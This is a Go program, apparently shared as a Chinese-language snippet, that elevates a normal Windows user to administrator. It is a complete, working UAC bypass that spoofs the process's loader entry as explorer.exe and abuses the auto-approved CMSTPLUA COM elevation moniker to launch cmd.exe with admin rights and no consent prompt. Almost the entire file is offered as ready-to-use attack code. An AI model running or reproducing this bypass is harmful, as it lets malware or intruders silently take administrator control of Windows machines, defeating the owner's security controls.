golang实现普通升管理员权限
package main
import (
"fmt"
"os"
"path/filepath"
"runtime"
"syscall"
"unsafe"
"golang.org/x/sys/windows"
"golang.org/x/sys/windows/registry"
)
var (
modntdll = windows.NewLazySystemDLL("ntdll.dll")
modole32 = windows.NewLazySystemDLL("ole32.dll")
procRtlInitUnicodeString = modntdll.NewProc("RtlInitUnicodeString")
procRtlGetCurrentPeb = modntdll.NewProc("RtlGetCurrentPeb")
procCoInitializeEx = modole32.NewProc("CoInitializeEx")
procCoUninitialize = modole32.NewProc("CoUninitialize")
procCoGetObject = modole32.NewProc("CoGetObject")
)
type cBIND_OPTS3 struct {
cbStruct uint32
grfFlags uint32
grfMode uint32
dwTickCountDeadline uint32
dwTrackFlags uint32
dwClassContext uint32
locale uint32
pServerInfo *uintptr
hwnd *uintptr
}
const (
releaseOffset = 2
shellExecuteOffset = 9
cSEE_MASK_DEFAULT = 0
)
type cUNICODE_STRING struct {
Length uint16
MaximumLength uint16
Buffer *uint16
}
type cLIST_ENTRY struct {
Flink *cLIST_ENTRY
Blink *cLIST_ENTRY
}
/* The below three structs have several "reserved" members. These are of course well-known and extensively reverse-
* engineered, but the below shows only the documented and therefore stable fields from Microsoft's winternl.h header */
type cLDR_DATA_TABLE_ENTRY struct {
Reserved1 [2]uintptr
InMemoryOrderLinks cLIST_ENTRY
Reserved2 [2]uintptr
DllBase uintptr
Reserved3 [2]uintptr
FullDllName cUNICODE_STRING
Reserved4 [8]byte
Reserved5 [3]uintptr
Reserved6 uintptr
TimeDateStamp uint32
}
type cPEB_LDR_DATA struct {
Reserved1 [8]byte
Reserved2 [3]uintptr
InMemoryOrderModuleList cLIST_ENTRY
}
type cPEB struct {
Reserved1 [2]byte
BeingDebugged byte
Reserved2 [1]byte
Reserved3 uintptr
ImageBaseAddress uintptr
Ldr *cPEB_LDR_DATA
ProcessParameters uintptr
Reserved4 [3]uintptr
AtlThunkSListPtr uintptr
Reserved5 uintptr
Reserved6 uint32
Reserved7 uintptr
Reserved8 uint32
AtlThunkSListPtr32 uint32
Reserved9 [45]uintptr
Reserved10 [96]byte
PostProcessInitRoutine uintptr
Reserved11 [128]byte
Reserved12 [1]uintptr
SessionId uint32
}
const (
// winuser.h
SW_HIDE = 0
SW_NORMAL = 1
SW_SHOWNORMAL = 1
SW_SHOWMINIMIZED = 2
SW_SHOWMAXIMIZED = 3
SW_MAXIMIZE = 3
SW_SHOWNOACTIVATE = 4
SW_SHOW = 5
SW_MINIMIZE = 6
SW_SHOWMINNOACTIVE = 7
SW_SHOWNA = 8
SW_RESTORE = 9
SW_SHOWDEFAULT = 10
SW_FORCEMINIMIZE = 11
)
const (
cCLSCTX_LOCAL_SERVER = 4
cCOINIT_APARTMENTTHREADED = 2
)
func rtlInitUnicodeString(destinationString *cUNICODE_STRING, sourceString *uint16) {
syscall.Syscall(procRtlInitUnicodeString.Addr(), 2, uintptr(unsafe.Pointer(destinationString)), uintptr(unsafe.Pointer(sourceString)), 0)
return
}
func rtlGetCurrentPeb() (peb *cPEB) {
r0, _, _ := syscall.Syscall(procRtlGetCurrentPeb.Addr(), 0, 0, 0, 0)
peb = (*cPEB)(unsafe.Pointer(r0))
return
}
func coInitializeEx(reserved uintptr, coInit uint32) (ret error) {
r0, _, _ := syscall.Syscall(procCoInitializeEx.Addr(), 2, uintptr(reserved), uintptr(coInit), 0)
if r0 != 0 {
ret = syscall.Errno(r0)
}
return
}
func coGetObject(name *uint16, bindOpts *cBIND_OPTS3, guid *windows.GUID, functionTable ***[0xffff]uintptr) (ret error) {
r0, _, _ := syscall.Syscall6(procCoGetObject.Addr(), 4, uintptr(unsafe.Pointer(name)), uintptr(unsafe.Pointer(bindOpts)), uintptr(unsafe.Pointer(guid)), uintptr(unsafe.Pointer(functionTable)), 0, 0)
if r0 != 0 {
ret = syscall.Errno(r0)
}
return
}
func coUninitialize() {
syscall.Syscall(procCoUninitialize.Addr(), 0, 0, 0, 0)
return
}
func OpenCurrentProcessToken() (windows.Token, error) {
p := windows.CurrentProcess()
var t windows.Token
e := windows.OpenProcessToken(p, windows.TOKEN_QUERY|windows.TOKEN_DUPLICATE, &t)
if e != nil {
return 0, e
}
return t, nil
}
// 检查是否为内置管理成员
func isAdmin(token windows.Token) bool {
builtinAdminsGroup, err := windows.CreateWellKnownSid(windows.WinBuiltinAdministratorsSid)
if err != nil {
return false
}
var checkableToken windows.Token
err = windows.DuplicateTokenEx(token, windows.TOKEN_QUERY|windows.TOKEN_IMPERSONATE, nil, windows.SecurityIdentification, windows.TokenImpersonation, &checkableToken)
if err != nil {
return false
}
defer checkableToken.Close()
isAdmin, err := checkableToken.IsMember(builtinAdminsGroup)
return isAdmin && err == nil
}
func TokenIsElevatedOrElevatable(token windows.Token) bool {
if token.IsElevated() && isAdmin(token) {
return true
}
linked, err := token.GetLinkedToken()
if err != nil {
return false
}
defer linked.Close()
return linked.IsElevated() && isAdmin(linked)
}
func findCurrentDataTableEntry() (entry *cLDR_DATA_TABLE_ENTRY, err error) {
peb := rtlGetCurrentPeb()
if peb == nil || peb.Ldr == nil {
err = windows.ERROR_INVALID_ADDRESS
return
}
for cur := peb.Ldr.InMemoryOrderModuleList.Flink; cur != &peb.Ldr.InMemoryOrderModuleList; cur = cur.Flink {
entry = (*cLDR_DATA_TABLE_ENTRY)(unsafe.Pointer(uintptr(unsafe.Pointer(cur)) - unsafe.Offsetof(cLDR_DATA_TABLE_ENTRY{}.InMemoryOrderLinks)))
if entry.DllBase == peb.ImageBaseAddress {
return
}
}
entry = nil
err = windows.ERROR_OBJECT_NOT_FOUND
return
}
func main() {
//获取进程Token
processToken, err := OpenCurrentProcessToken() //TODO: Change to windows.OpenCurrentProcessToken once https://go-review.googlesource.com/c/sys/+/192337 lands
if err != nil {
return
}
defer processToken.Close()
// //判断当前进程是否可以升权
if processToken.IsElevated() {
fmt.Println("你已经是管理员!!")
return
}
if !TokenIsElevatedOrElevatable(processToken) {
fmt.Println("你已经是管理员!!")
err = windows.ERROR_ACCESS_DENIED
return
}
//检查UAC是否开启
key, err := registry.OpenKey(registry.LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", registry.QUERY_VALUE)
if err != nil {
return
}
promptBehavior, _, err := key.GetIntegerValue("ConsentPromptBehaviorAdmin")
key.Close()
if err != nil {
return
}
if uint32(promptBehavior) == 0 {
fmt.Println("关闭了UAC")
err = windows.ERROR_SUCCESS
return
}
if uint32(promptBehavior) != 5 {
fmt.Println("UAC权限太高无法提权")
err = windows.ERROR_ACCESS_DENIED
return
}
key, err = registry.OpenKey(registry.LOCAL_MACHINE, "SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\UAC\\COMAutoApprovalList", registry.QUERY_VALUE)
if err == nil {
var autoApproved uint64
autoApproved, _, err = key.GetIntegerValue("{3E5FC7F9-9A51-4367-9063-A120244FBEC7}")
key.Close()
if err != nil {
return
}
if uint32(autoApproved) == 0 {
err = windows.ERROR_ACCESS_DENIED
return
}
}
dataTableEntry, err := findCurrentDataTableEntry()
if err != nil {
return
}
windowsDirectory, err := windows.GetSystemWindowsDirectory()
if err != nil {
fmt.Println("err", err)
return
}
originalPath := dataTableEntry.FullDllName.Buffer
explorerPath := windows.StringToUTF16Ptr(filepath.Join(windowsDirectory, "explorer.exe"))
rtlInitUnicodeString(&dataTableEntry.FullDllName, explorerPath)
defer func() {
rtlInitUnicodeString(&dataTableEntry.FullDllName, originalPath)
runtime.KeepAlive(explorerPath)
}()
if err = coInitializeEx(0, cCOINIT_APARTMENTTHREADED); err == nil {
defer coUninitialize()
}
var interfacePointer **[0xffff]uintptr
//使用CoGetObject方法获取ICMLuaUtil接口的实例
if err = coGetObject(
windows.StringToUTF16Ptr("Elevation:Administrator!new:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}"),
&cBIND_OPTS3{
cbStruct: uint32(unsafe.Sizeof(cBIND_OPTS3{})),
dwClassContext: cCLSCTX_LOCAL_SERVER,
},
&windows.GUID{0x6EDD6D74, 0xC007, 0x4E75, [8]byte{0xB7, 0x6A, 0xE5, 0x74, 0x09, 0x95, 0xE2, 0x4C}},
&interfacePointer,
); err != nil {
return
}
exePath, _ := windows.UTF16PtrFromString("cmd.exe")
arguments, _ := windows.UTF16PtrFromString("")
pwd, _ := os.Getwd()
workDir, _ := windows.UTF16PtrFromString(pwd)
defer syscall.Syscall((*interfacePointer)[releaseOffset], 1, uintptr(unsafe.Pointer(interfacePointer)), 0, 0)
if ret, _, _ := syscall.Syscall6((*interfacePointer)[shellExecuteOffset], 6,
uintptr(unsafe.Pointer(interfacePointer)),
uintptr(unsafe.Pointer(exePath)),
uintptr(unsafe.Pointer(arguments)),
uintptr(unsafe.Pointer(workDir)),
cSEE_MASK_DEFAULT,
uintptr(SW_SHOW),
); ret != uintptr(windows.ERROR_SUCCESS) {
err = syscall.Errno(ret)
return
}
err = nil
}